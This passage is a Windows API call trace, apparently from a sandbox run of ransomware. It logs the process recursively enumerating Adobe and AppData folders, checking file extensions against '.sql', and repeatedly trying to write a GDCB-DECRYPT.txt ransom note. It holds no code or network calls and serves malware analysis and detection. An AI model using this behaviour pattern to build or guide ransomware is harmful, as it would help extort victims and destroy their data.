(in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.222] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.222] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 178 [0170.222] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.222] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.222] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.222] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.222] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.222] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.222] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.222] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.222] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.222] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.223] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 185 [0170.223] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.223] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.223] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.223] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.223] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 185 [0170.223] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.223] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.223] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.223] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.223] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 183 [0170.223] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.223] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.223] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.223] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.223] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 194 [0170.223] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.223] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.223] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.223] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.223] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 195 [0170.223] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.225] GetLastError () returned 0x50 [0170.225] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.225] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 178 [0170.225] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.225] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.225] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.225] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.225] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.225] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.225] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.225] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.225] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.225] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.225] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0170.225] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.225] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.225] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.226] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 186 [0170.226] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.226] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.226] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.226] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.226] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.226] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.226] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.226] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 188 [0170.226] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.226] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.226] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.226] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.226] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 202 [0170.226] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.226] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.226] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.226] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.226] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 203 [0170.226] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.228] GetLastError () returned 0x50 [0170.228] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.228] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 186 [0170.228] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.228] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.228] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.229] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.229] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.229] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.229] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.229] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.229] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.229] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.229] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0170.229] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.229] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.229] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 189 [0170.229] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.229] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.229] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.229] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.229] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.229] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.229] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.229] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.229] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.229] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.229] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 207 [0170.229] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.229] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.229] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.230] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.230] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.230] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 207 [0170.230] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.230] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.230] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.230] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.230] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.230] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 206 [0170.230] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.230] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.230] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.230] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.230] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.230] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 206 [0170.230] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.230] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.230] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.230] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.230] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.230] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 194 [0170.230] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.230] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.230] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") 